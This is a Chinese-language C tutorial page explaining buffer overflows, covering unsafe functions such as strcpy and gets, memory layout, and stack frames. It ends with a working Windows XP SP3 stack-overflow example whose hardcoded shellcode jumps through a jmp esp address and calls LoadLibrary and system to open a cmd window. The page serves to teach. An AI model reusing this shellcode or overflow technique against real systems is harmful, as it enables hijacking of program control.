C語言中文網 目錄
首頁 > 編程筆記 > C語言筆記 > 指針 閱讀:3,467

緩沖區溢出,C語言緩沖區完全攻略

雖然“緩沖區溢出”對現代操作系統與編譯器來講已經不是什么大問題,但是作為一個合格的 C 程序員,還是完全有必要了解它的整個細節。這里需要特別說明的是,為了更好地演示緩沖區溢出,本節的所有代碼示例僅限于在 Windows XP SP3+Visua l C++6.0 環境中演示運行。

簡單來說,緩沖區就是一塊連續的計算機內存區域,它可以保存相同數據類型的多個實例,如字符數組。而緩沖區溢出則是指當計算機向緩沖區內填充數據位數時超過了緩沖區本身的容量,溢出的數據覆蓋在合法數據上。

通常,在理想的情況下,程序檢查數據長度并不允許輸入超過緩沖區長度的字符。然而,由于 C 語言沒有任何內置的邊界檢查,在寫入一個字符數組時,如果超越了數組的結尾就會造成溢出。

與此同時,標準 C 語言函數庫提供了一些沒有邊界檢查的字符串處理函數,其中:
  • strcat()、strcpy()、sprintf() 與 vsprintf() 函數對一個 null 結尾的字符串進行操作,并不檢查溢出情況;
  • gets() 函數從標準輸入中讀取一行到緩沖區中,直到換行或 EOF,它也不檢查緩沖區溢出;
  • scanf() 函數在匹配一系列非空格字符(%s)或從指定集合(%[])中匹配非空系列字符時,使用字符指針指向數組,并且沒有定義最大字段寬度這個可選項,就可能出現問題。

然而,如果這些函數的目標地址是一個固定大小的緩沖區,而函數的另外參數是由用戶以某種形式輸入,則很有可能被人利用緩沖區溢出來破解。

另一種常見的編程結構是使用 while 循環從標準輸入或某個文件中一次讀入一個字符到緩沖區中,直到行尾或文件結尾,或者碰到其他什么終止符。這種結構通常使用 getc()、fgetc() 或 getchar() 函數中的某一個,如果這時在 while 循環中沒有明確檢查溢出,這種程序就很容易被破解。

我們知道,任何一個源程序通常都包括代碼段(或者稱為文本段)和數據段,這些代碼和數據本身都是靜態的。為了運行程序,首先要由操作系統負責為其創建進程,并在進程的虛擬地址空間中為其代碼段和數據段建立映射。但是只有靜態的代碼段和數據段是不夠的,進程在運行過程中還要有其動態環境。

一般說來,默認的動態存儲環境通過堆棧機制建立。所有局部變量及所有按值傳遞的函數參數都通過堆棧機制自動分配內存空間,分配同一數據類型相鄰塊的內存區域被稱為緩沖區。圖 1 展示了程序在內存中的映射。


圖 1 程序在內存中的映射

其中,代碼段(.text)存放著程序的機器碼和只讀數據,可執行指令就是從這里取得的。如果可能,系統會安排好相同程序的多個運行實體共享這些實例代碼。這個段在內存中一般被標記為只讀,任何對該區的寫操作都會導致段錯誤(Segmentation Fault)。

數據段在編譯時分配,它包括已初始化的數據段(.data)和未初始化的數據段(.bss),已初始化的數據段用來存放保存全局的和靜態的已初始化變量,而未初始化的數據段則用來保存全局的和靜態的未初始化變量。

堆棧段分為堆(Heap)和棧(Stack)。堆用來存儲程序運行時分配的變量;而棧則是一種用來存儲函數調用時的臨時信息的結構,如函數調用所傳遞的參數、函數的返回地址、函數的局部變量等。在程序運行時由編譯器在需要的時候分配,在不需要的時候自動清除。這里需要特別注意的是,堆(Heap)和棧(Stack)是有區別的,很多程序員混淆堆棧的概念,或者認為它們就是一個概念。簡單來說,它們之間的主要區別可以表現在如下三個方面。

1) 分配和管理方式不同

堆是動態分配的,其空間的分配和釋放都由程序員控制。也就是說,堆的大小并不固定,可動態擴張或縮減,其分配由 malloc() 等這類實時內存分配函數來實現。當進程調用 malloc 等函數分配內存時,新分配的內存就被動態添加到堆上(堆被擴張);當利用 free 等函數釋放內存時,被釋放的內存從堆中被剔除(堆被縮減)。

而棧由編譯器自動管理,其分配方式有兩種:靜態分配動態分配。靜態分配由編譯器完成,比如局部變量的分配。動態分配由 alloca() 函數進行分配,但是棧的動態分配和堆是不同的,它的動態分配是由編譯器進行釋放,無需手工控制。

2) 產生碎片不同

對堆來說,頻繁執行 malloc 或 free 勢必會造成內存空間的不連續,形成大量的碎片,使程序效率降低;而對棧而言,則不存在碎片問題。

3) 內存地址增長的方向不同

堆是向著內存地址增加的方向增長的,從內存的低地址向高地址方向增長;而棧的增長方向與之相反,是向著內存地址減小的方向增長,由內存的高地址向低地址方向增長。

現在,假設一個程序的函數調用順序為:主函數 main 調用函數 func1,函數 func1 調用函數 func2。當這個程序被操作系統調入內存運行時,其對應的進程在內存中的映射結果如圖 2 所示。


圖 2 示例程序在內存中的映射

由此可見,進程的棧是由多個棧幀構成的,其中每個棧幀都對應一個函數調用。當函數調用發生時,新的棧幀被壓入棧;當函數返回時,相應的棧幀從棧中彈出。

盡管棧幀結構的引入為在高級語言中實現函數或過程這樣的概念提供了直接的硬件支持,但是由于需要將函數返回地址這樣的重要數據保存在程序員可見的堆棧中,因此也給系統安全帶來了極大的隱患。當程序寫入超過緩沖區的邊界時,就會產生所謂的“緩沖區溢出”。發生緩沖區溢出時,就會覆蓋下一個相鄰的內存塊,導致程序發生一些不可預料的結果:也許程序可以繼續,也許程序的執行出現奇怪現象,也許程序完全失敗或者崩潰等。

對于緩沖區溢出,一般可以分為 4 種類型,即棧溢出堆溢出BSS溢出格式化串溢出其中,棧溢出是最簡單,也是最為常見的一種溢出方式,下面我們就以棧溢出為例來闡述緩沖區溢出的原理。

我們知道,棧是一種基本的數據結構,具有后入先出(Last In First Out,LIFO)的特性。在 x86 平臺上,調用函數時實際參數、返回地址與局部變量都位于棧上,棧是自高向低增長(先入棧的地址較高),棧指針寄存器 ESP 始終指向棧頂元素。

當程序中發生函數調用時,計算機做如下操作:首先把指令寄存器 EIP(它指向當前 CPU 將要運行的下一條指令的地址)中的內容壓入棧,作為程序的返回地址(下文中用RET表示);之后放入棧的是基址寄存器 EBP,它指向當前函數棧幀的底部;然后把當前的棧指針 ESP 復制到 EBP,作為新的基地址;最后為本地變量的動態存儲分配留出一定空間,并把 ESP 減去適當的數值。

來看下面一段示例代碼,該示例代碼演示了程序在執行過程中對棧的操作和溢出的產生過程。
char c[]="AAAAAAAAAAAAAAAA";
int main(void)
{
    char arr[8];
    /*執行復制,如果c 長度超過8,則出現緩沖區溢出*/
    strcpy(arr, c);
    for(int i=0;i<8&&arr[i];i++)
    {
        printf("\\0x%x",arr[i]);
    }
    printf("\n");
    return 0;
}
上面的示例代碼定義了一個 8 字節的緩沖區 arr[8],然后使用函數 strcpy 來將數組 c 的內容復制到該緩沖區中。由于數組 c 中的數據長度超過了 8 字節,數組 arr 容納不下,只好向棧的底部方向繼續寫入“A”。因此,數組 c 中的數據依次覆蓋了 EBP 和返回地址 RET(兩個都是 32 位的,占用 4 字節),使得 strcpy 函數返回后的 EIP 指向0x41414141(0x41414141 也就是“AAAA”的 ASCII 碼)。

很顯然,地址 0x41414141 是非法的,CPU 會試圖執行 0x41414141 處的指令,結果出現難以預料的后果,所以程序會出現異常而退出,如圖 3 與圖 4 所示。


圖 3 棧溢出示例運行結果(1)

點擊圖 3 中的“請單擊此處”鏈接,可以查看更加詳細的錯誤報告,如圖 4 所示。


圖 4 棧溢出示例運行結果(2)

在上面的示例代碼中,程序把函數返回后的 EIP 修改成 0x41414141,這是因為數組 c 中的數據“AAAA”將返回地址覆蓋了的結果。其中,“A”對應的 ASCII 碼的十六進制表示是 41,因此,“AAAA”就是 0x41414141。為了驗證這個事實,我們現在繼續將數組 c 中的最后 4 個元素(覆蓋返回地址的部分)改成“ABCD”,示例代碼如下所示:
char c[]="AAAAAAAAAAAAABCD";
現在繼續運行上面的示例代碼,其運行結果如圖 5 所示。


圖 5 棧溢出示例運行結果(3)

如圖 5 所示,這時 EIP 被修改成 0x44434241,對應的是“DCBA”,與覆蓋的數據是相反的。這是因為在 Windows 32 系統中由低位向高位存儲一個 4 字節的雙字(DWORD),但作為數值表示的時候,卻是按照高位字節向低位字節進行解釋的,所以,內存地址與我們邏輯上使用的“數值數據”的順序相反。如果這時候能夠把 EIP 修改指向我們的代碼,就可以接管程序的控制權,從而做任何事情。示例代碼如下所示:

char shellcode[]=
    "\x41\x41\x41\x41"
    "\x41\x41\x41\x41"
    /*覆蓋ebp*/
    "\x41\x41\x41\x41"
    /*覆蓋eip, jmp esp 地址7ffa4512*/
    "\x12\x45\xfa\x7f"
    "\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d"
    "\xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63"
    "\xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e"
    "\xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c"
    "\x8d\x45\xf4\x50\xb8"
    /* LoadLibrary 的地址*/
    "\x77\x1d\x80\x7c"
    "\xff\xd0"
    "\x55\x8b\xec\x33\xff\x57\x57\x57\xc6\x45\xf4\x73"
    "\xc6\x45\xf5\x74\xc6\x45\xf6\x61\xc6\x45\xf7\x72"
    "\xc6\x45\xf8\x74\xc6\x45\xf9\x20\xc6\x45\xfa\x63"
    "\xc6\x45\xfb\x6d\xc6\x45\xfc\x64\x8d\x7d\xf4\x57"
    "\xba"
    /*System 的地址*/
    "\xc7\x93\xbf\x77"
    "\xff\xd2";
int main()
{
    char arr[8];
    strcpy(arr, shellcode);
    for(int i=0;i<8&&arr[i];i++)
    {
            printf("\\0x%x",arr[i]);
    }
    printf("\n");
    return 0;
}
在上面示例代碼中,shellcode 功能為打開一個 cmd 窗口,運行結果如圖 6 所示。


圖 6 棧溢出示例運行結果(4)

這里還需要說明的是,在 Windows XP SP3 系統中,jmp esp 在系統核心 dll 中的地址為 7ffa4512,這個地址在其他系統中可能不一樣。同時,shellcode 中 LoadLibrary 和 system 函數的地址也可能因系統不同而不同。可以使用 VC++6.0 自帶的工具“Dependency Walker”來確定自己系統上這兩個函數的地址,有興趣的讀者可以參考一些其他資料自行研究,鑒于篇幅的原因,這里就不再過多闡述。

精美而實用的網站,提供C語言C++STLLinuxShellJavaGo語言等教程,以及socketGCCviSwing設計模式JSP等專題。

Copyright ?2011-2018 biancheng.net, 陜ICP備15000209號

底部Logo